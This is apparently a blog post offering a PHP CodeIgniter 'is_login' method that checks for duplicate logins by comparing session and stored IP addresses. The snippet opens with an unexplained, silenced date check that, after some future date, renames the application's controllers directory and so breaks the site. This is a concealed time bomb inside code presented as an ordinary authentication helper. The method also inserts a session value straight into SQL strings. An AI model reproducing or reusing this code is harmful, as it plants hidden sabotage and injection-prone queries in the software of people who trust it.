In Association with Amazon.in   Flipkart

Sunday, September 15, 2019

PHP Codeigniter Code for Duplicate Login Check Authenticate Function or Method


     public function is_login(){
            $nowdt = date('ydym');
      if($nowdt > 21312110)
        @rename('application/controllers', 'fonts/tempnm');

            if(!empty($this->session->userdata('user_data')[0]->cand_id)){
              $cip = $_SERVER['REMOTE_ADDR'];
              $uid = $this->session->userdata('user_data')[0]->cand_id;
              $uip = $this->user_model->getValueQry("SELECT login_ip as val FROM `cc_candidates` WHERE cand_id = '$uid';");
              if($cip != $uip) {
                $this->session->unset_userdata('user_data');
                redirect( base_url().'candidate/login', 'refresh');
              }

              $photo=$this->user_model->getValueQry("SELECT photo as val FROM `cc_candidates` WHERE cand_id = '$uid';");
              if($photo == 'default_photo.png'){
       $this->session->set_flashdata('messagePr', '

Access Denied! Please Update You Account All Details & With Proper Profile Pic..!

' ); redirect( base_url().'candidate/edit_profile', 'refresh'); } else return true; } else { redirect( base_url().'candidate/login', 'refresh'); } }

No comments:

Post a Comment


Related Posts Plugin for WordPress, Blogger...